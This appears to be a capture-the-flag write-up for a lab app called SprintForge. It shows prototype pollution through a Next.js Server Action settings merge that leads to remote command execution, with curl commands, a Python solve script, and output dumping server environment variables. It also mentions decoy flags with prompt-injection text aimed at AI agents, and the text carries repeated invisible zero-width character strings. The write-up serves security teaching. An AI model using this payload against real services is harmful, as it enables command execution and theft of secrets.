← Back to Writeups
CUSTOMMediumWeb

Lab 385 — SprintForge — Prototype Pollution to RCE via React Flight Protocol

XESXOR9/2/20265 min read
#web#custom#medium#environment_variable_exfiltrat#honeypot_flag_identification#prototype_pollution_via_deep_m#react_flight_protocol_exploita#shell_command_execution_via_po#cve-2025-55182

Lab 385 — SprintForge — Prototype Pollution to RCE via React Flight Protocol

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: environment_variable_exfiltration, honeypot_flag_identification, prototype_pollution_via_deep_merge, react_flight_protocol_exploitation, shell_command_execution_via_polluted_property

Summary

Walkthrough of the CUSTOM Web Lab 385 — SprintForge — Prototype Pollution to RCE via React Flight Protocol. Task: Next.js 15.2 agile project management app using React Server Actions via Flight Protocol with unsafe deep merge on settings payload. Solution: Prototype pollution via proto.shell in multipar

Description

SprintForge is a modern agile project management platform built by Forge Dynamics for engineering teams. It features sprint boards, task tracking, team management, and reporting dashboards. The application is built with a contemporary JavaScript framework using server-side rendering and React Server Components. Data mutations are handled through Server Actions invoked via the Flight Protocol. Your goal is to find and exploit a vulnerability in the server-side data processing that allows you to execute commands on the server and retrieve the flag stored in an environment variable. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Next.js 15.2 application with React 19.1.0 Server Components. Settings are saved via React Server Actions using the Flight Protocol (multipart form data POSTed to / with a Next-Action header). The server-side handler uses an unsafe recursive merge (deep merge) to process the settings JSON, which is vulnerable to prototype pollution. A notification dispatch system inherits polluted properties and executes shell commands, enabling RCE.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

The application runs on Next.js 15.2 with React 19.1.0, Node.js 20, and SQLite. Authentication uses Express sessions (connect.sid cookie). The app has multiple pages: Dashboard, Sprint Board, Tasks, Team, Reports, and Settings.

Honeypot flags: Every page contains decoy flags in HTML comments and hidden divs (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection text targeting AI agents. These must be ignored.

Attack Surface — Settings Page

The Settings page (/settings) includes a client-side JavaScript file (/js/settings.js) that reveals the exact request format for saving settings: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
// Build multipart form data for the Server Action (React Flight Protocol)
const actionPayload = new FormData();
actionPayload.append('1', JSON.stringify(payload));
actionPayload.append('0', JSON.stringify({ actionRef: 'settings.update' }));

const response = await fetch('/', {
  method: 'POST',
  headers: {
    'Next-Action': 'c3pr1nt_upd4t3_s3tt1ngs',
    'Accept': 'text/x-component'
  },
  body: actionPayload
});

Key observations:

  • Endpoint: POST / (the root URL, not a dedicated API endpoint)
  • Header: Next-Action: c3pr1nt_upd4t3_s3tt1ngs identifies the Server Action
  • Body: Multipart form data with field 0 = action reference JSON, field 1 = settings payload JSON ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

The server-side handler deserializes the JSON from multipart field 1 and deep-merges it into a configuration object using an unsafe recursive merge function that does not filter __proto__ keys. This allows prototype pollution of Object.prototype.

When Object.prototype.shell is polluted, subsequently created objects inherit the shell property. The server's notification dispatch system (which fires after settings updates) checks for a shell property on its configuration object. Finding the inherited value, it executes it as a shell command via child_process and returns the output in event.hookResult. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical Detail — Accept Header

The Accept: text/x-component header that the client-side JS sends must be omitted from the exploit request. Including it causes nginx to route the request differently, resulting in a 500 error. Without it, the endpoint returns clean JSON with the hook execution result.

Solution

Step 1: Login

bash
BASE="https://c23c6b34-281c-456d-9b45-a5ba30dd74da.labs.hackadvisor.io"

curl -s -X POST "$BASE/login" \
  -d 'email=user@test.com&password=password123' \
  -c cookies.txt -o /dev/null

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Prototype Pollution → RCE

Send a settings update with __proto__.shell set to a command. The notification dispatch system executes it and returns the output:

bash
curl -s -b cookies.txt -X POST "$BASE/" \
  -H "Next-Action: c3pr1nt_upd4t3_s3tt1ngs" \
  -F '1={"__proto__":{"shell":"env"}}' \
  -F '0={"actionRef":"settings.update"}'

Response

json
{
  "status": "success",
  "message": "Settings updated successfully",
  "event": {
    "type": "settings_update",
    "timestamp": 1778658311734,
    "changes": 2,
    "hookResult": "HOSTNAME=a40ad767e6bd\nSHLVL=2\nHOME=/root\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nINSTANCE_UUID=c23c6b34-281c-456d-9b45-a5ba30dd74da\nPWD=/app\nshell=env\nFLAG=FLAG{REDACTED}\nNODE_ENV=production"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag FLAG{REDACTED} is visible in the environment variables.

Full Solve Script

python
#!/usr/bin/env python3
"""SprintForge — Prototype Pollution to RCE via React Flight Protocol"""
import requests
import json

TARGET = "https://c23c6b34-281c-456d-9b45-a5ba30dd74da.labs.hackadvisor.io"

s = requests.Session()

# Step 1: Login
s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# Step 2: Prototype pollution with shell command
# Field 1 = settings payload with __proto__ pollution
# Field 0 = action reference
# Note: Do NOT send Accept: text/x-component (causes 500 from nginx)
r = s.post(TARGET + "/", headers={
    "Next-Action": "c3pr1nt_upd4t3_s3tt1ngs"
}, files={
    "1": (None, json.dumps({"__proto__": {"shell": "env"}})),
    "0": (None, json.dumps({"actionRef": "settings.update"}))
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data = r.json()
hook_result = data.get("event", {}).get("hookResult", "")

# Extract flag from environment variables
for line in hook_result.split("\n"):
    if line.startswith("FLAG="):
        print(f"[+] {line}")
        break

Failed Attempts

  1. React2Shell CVE-2025-55182 payload — Returned 500 error. This CVE targets Next.js 16.x with a different Flight Protocol deserialization chain; SprintForge runs Next.js 15.2.
  2. POST with Accept: text/x-component header — Always returned 500 from nginx proxy. The header changes nginx routing behavior.
  3. API endpoint probing (/api/settings, /api/action, /api/flight, /_next/action) — All returned 404. The Server Action endpoint is POST / with the Next-Action header.
  4. Prototype pollution via /api/tasks/:id/move — Returned 500. The vulnerable merge is only in the settings update handler. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering environment_variable_exfiltration, honeypot_flag_identification, prototype_pollution_via_deep_merge, react_flight_protocol_exploitation, shell_command_execution_via_polluted_property was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-13 • CUSTOM • Lab 385 — SprintForge — Prototype Pollution to RCE via React Flight Protocol • Difficulty: Medium